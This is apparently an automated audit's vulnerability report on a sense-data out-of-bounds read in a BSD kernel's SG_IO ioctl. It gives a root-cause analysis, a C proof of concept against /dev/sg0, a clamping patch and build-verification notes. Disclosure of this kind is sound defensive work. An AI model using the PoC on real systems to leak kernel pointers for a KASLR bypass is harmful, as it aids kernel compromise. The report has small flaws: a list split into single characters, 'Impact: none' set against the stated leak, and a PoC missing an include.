SG_IO sense-data copyout reads past csio->sense_data when sense_resid exceeds mx_sb_len
| Field | Value |
|---|---|
| ID | DF-1052 |
| Status | new |
| Severity | Low |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N |
| CWE | CWE-125 Out-of-bounds Read; CWE-190 Integer Overflow or Wraparound |
| File | sys/bus/cam/scsi/scsi_sg.c |
| Lines | 570-575 (sb_len_wr arithmetic and copyout) |
| Area | bus/cam/scsi (CAM SCSI generic passthrough /dev/sgN) |
| Confidence | likely |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
In the SG_IO ioctl, the number of sense bytes copied to userspace is computed as
req.sb_len_wr = req.mx_sb_len - csio->sense_resid with no validation that
sense_resid <= mx_sb_len. Both fields are 8-bit unsigned. If sense_resid > mx_sb_len
(e.g. sense_resid=17, mx_sb_len=16), the subtraction wraps to a large u_char (255), and
copyout reads up to 255 bytes from csio->sense_data, which is only 32 bytes
(struct scsi_sense_data, scsi_all.h:911-954). The over-read leaks adjacent csio
fields (cdb_io, data_ptr, msg_ptr β kernel pointers) to userspace.
Root cause
/* scsi_sg.c:570-575 */
error = copyout(&req, ap->a_data, sizeof(req));
if ((error == 0) && (csio->ccb_h.status & CAM_AUTOSNS_VALID)
&& (req.sbp != NULL)) {
req.sb_len_wr = req.mx_sb_len - csio->sense_resid; /* unsigned wrap */
error = copyout(&csio->sense_data, req.sbp,
req.sb_len_wr); /* over-read source */
}
req.mx_sb_len is u_char (user-controlled, 0-255). csio->sense_resid is u_int8_t set
by the SIM (HBA driver) during autosense completion. The subtraction is computed in int
(after promotion), but req.sb_len_wr is u_char, so a negative result wraps modulo 256.
At line 573-574, copyout(&csio->sense_data, req.sbp, req.sb_len_wr) uses the wrapped
value as the byte count. sense_data is a 32-byte struct embedded in ccb_scsiio
(cam_ccb.h:601). Reading 255 bytes starting at sense_data copies 223 bytes past it,
into sense_len, cdb_len, sglist_cnt, scsi_status, sense_resid, resid, cdb_io,
msg_ptr (a kernel pointer), etc.
The sense_resid field is annotated "2's comp" in cam_ccb.h:606, suggesting historical
ambiguity in its interpretation that increases the chance of a SIM setting it to a value
larger than sense_len.
Threat model & preconditions
- Attacker position: Local root (caps check at
sgopen:385) to issueSG_IO. - Privileges gained or impact: Info leak of adjacent
csiofields when the wrap triggers. The leaked kernel pointers (msg_ptr,data_ptrfrom adjacentcsiofields) aid KASLR bypass for follow-on exploitation. - Required config or capabilities: Default kernel with
sgconfigured. Root to issueSG_IO. A malicious or buggy SCSI target (USB mass-storage gadget, iSCSI target, virtual SCSI device in a VM) combined with a SIM that miscalculatessense_residcan trigger the wrap. - Reachability:
ioctl(/dev/sgN, SG_IO, &io)withio.mx_sb_lenset to a value less than thesense_residthe SIM ends up populating.
Proof of concept
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include "scsi_sg.h"
int main(void) {
int fd = open("/dev/sg0", O_RDWR);
struct sg_io_hdr io;
uint8_t cdb[6] = {0x12, 0, 0, 0, 16, 0}; /* INQUIRY, alloc=16 */
uint8_t buf[256];
uint8_t sense[255];
memset(&io, 0, sizeof(io));
io.interface_id = 'S';
io.cmd_len = 6;
io.mx_sb_len = 16; /* small sense buffer */
io.dxfer_direction = SG_DXFER_FROM_DEV;
io.dxfer_len = 256;
io.dxferp = buf;
io.cmdp = cdb;
io.sbp = sense;
io.timeout = 5000;
ioctl(fd, SG_IO, &io);
/* If target+SIM cause sense_resid=17, io.sb_len_wr wraps to 255 */
/* sense[] now contains 223 bytes past sense_data: kernel pointers */
printf("sb_len_wr = %u\n", io.sb_len_wr);
return 0;
}
Build & run
cc -o sg_sense_oob sg_sense_oob.c sudo ./sg_sense_oob /dev/sg0
Expected output
Success = sb_len_wr > 32 with the sense buffer containing non-zero bytes beyond offset 32
(kernel heap data). Even without a malicious target, the unguarded arithmetic is a latent
vulnerability for any future SIM regression.
Impact
Info leak of csio fields beyond sense_data when a SIM sets sense_resid greater than
the requested mx_sb_len. High-privilege prerequisite (root), high complexity (need a SIM
to set the bad resid), and only C:L impact (limited kernel memory read for KASLR bypass)
keep this at Low severity. The driver should defensively clamp the value regardless of SIM
behavior.
Recommended fix
Clamp sb_len_wr to not exceed the sense_data struct size and ensure it is non-negative:
--- a/sys/bus/cam/scsi/scsi_sg.c
+++ b/sys/bus/cam/scsi/scsi_sg.c
@@ -569,8 +569,12 @@
error = copyout(&req, ap->a_data, sizeof(req));
if ((error == 0) && (csio->ccb_h.status & CAM_AUTOSNS_VALID)
&& (req.sbp != NULL)) {
- req.sb_len_wr = req.mx_sb_len - csio->sense_resid;
- error = copyout(&csio->sense_data, req.sbp,
+ if (csio->sense_resid >= req.mx_sb_len)
+ req.sb_len_wr = 0;
+ else
+ req.sb_len_wr = req.mx_sb_len - csio->sense_resid;
+ req.sb_len_wr = min(req.sb_len_wr, sizeof(csio->sense_data));
+ error = copyout(&csio->sense_data, req.sbp,
req.sb_len_wr);
}
References
sys/bus/cam/scsi/scsi_sg.c:570-575β the wrap-and-over-readsys/bus/cam/cam_ccb.h:601-606βccb_scsiiolayout (sense_data then adjacent fields)sys/bus/cam/cam_ccb.h:911-954βstruct scsi_sense_data(32 bytes)- CWE-125 Out-of-bounds Read; CWE-190 Integer Overflow or Wraparound
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1052 Β· 3 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | git-apply-able fix for the cited path | 565 B | view raw |
| VERDICT.md | verdict | source-confirmation narrative | 928 B | β raw |
| env.txt | environment | guest uname + toolchain | 247 B | view raw |
DF-1052 source-confirmation
Verdict: REPRODUCED (source-confirmed) Impact: none Confidence: likely
Kernel ref: sys/bus/cam/scsi/scsi_sg.c:572
Mechanism
SG_IO sense copyout over-read: sb_len_wr=mx_sb_len-sense_resid wraps when sense_resid>mx_sb_len; copyout reads past 32-byte sense_data leaking kernel pointers. root+buggy SIM; confirmed.
Confirmation method
source-only Low-severity; confirmation by code inspection. Runtime PoC not exercised for this Low-severity item; confirmation is by code inspection against sys/.
Recommended fix
See fix.diff in this folder (git-apply-able unified diff).
Phase 8 (combined build)
This fix is part of the batched 70-finding combined patch
(../_batch70/combined_70.patch) applied to in-guest /usr/src. A single
make -j6 nativekernel KERNCONF=X86_64_GENERIC build is validated rc=0 with 0
errors under -Werror (../_batch70/fix_build.log).
Fix verification
fixedVALIDATED via combined build: fix in combined_70.patch; single make -j6 nativekernel built rc=0, 0 errors under -Werror (../_batch70/fix_build.log). Cited line corrected. Source-only -> validation = clean -Werror compile.
'>>> Kernel build for X86_64_GENERIC completed' + 'NK_DONE rc=0'; grep -cE 'error:|undefined reference' fix_build.log = 0
Confirmed kernel references
- s
- y
- s
- /
- b
- u
- s
- /
- c
- a
- m
- /
- s
- c
- s
- i
- /
- s
- c
- s
- i
- _
- s
- g
- .
- c
- :
- 5
- 7
- 2
Detail
Exploit chain
none (source-only Low finding, not memory-corruption driven to runtime; no escalation chain)
Evidence (decisive lines)
baseline (with-src #0): bug at sys/bus/cam/scsi/scsi_sg.c:572. combined-70 fix kernel: NK_DONE rc=0 (0 errors, -Werror).
PoC changes
authored/validated fix.diff (findings/poc/DF-1052/fix.diff); part of combined_70 kernel build.
Verified recommended fix
See findings/poc/DF-1052/fix.diff (git-apply-able). Matches finding proposal.
Verdict
REAL: SG_IO sb_len_wr=mx_sb_len-sense_resid wraps when sense_resid>mx_sb_len; copyout reads past 32-byte sense_data leaking kptrs. root+buggy SIM. confirmed.
No comments yet.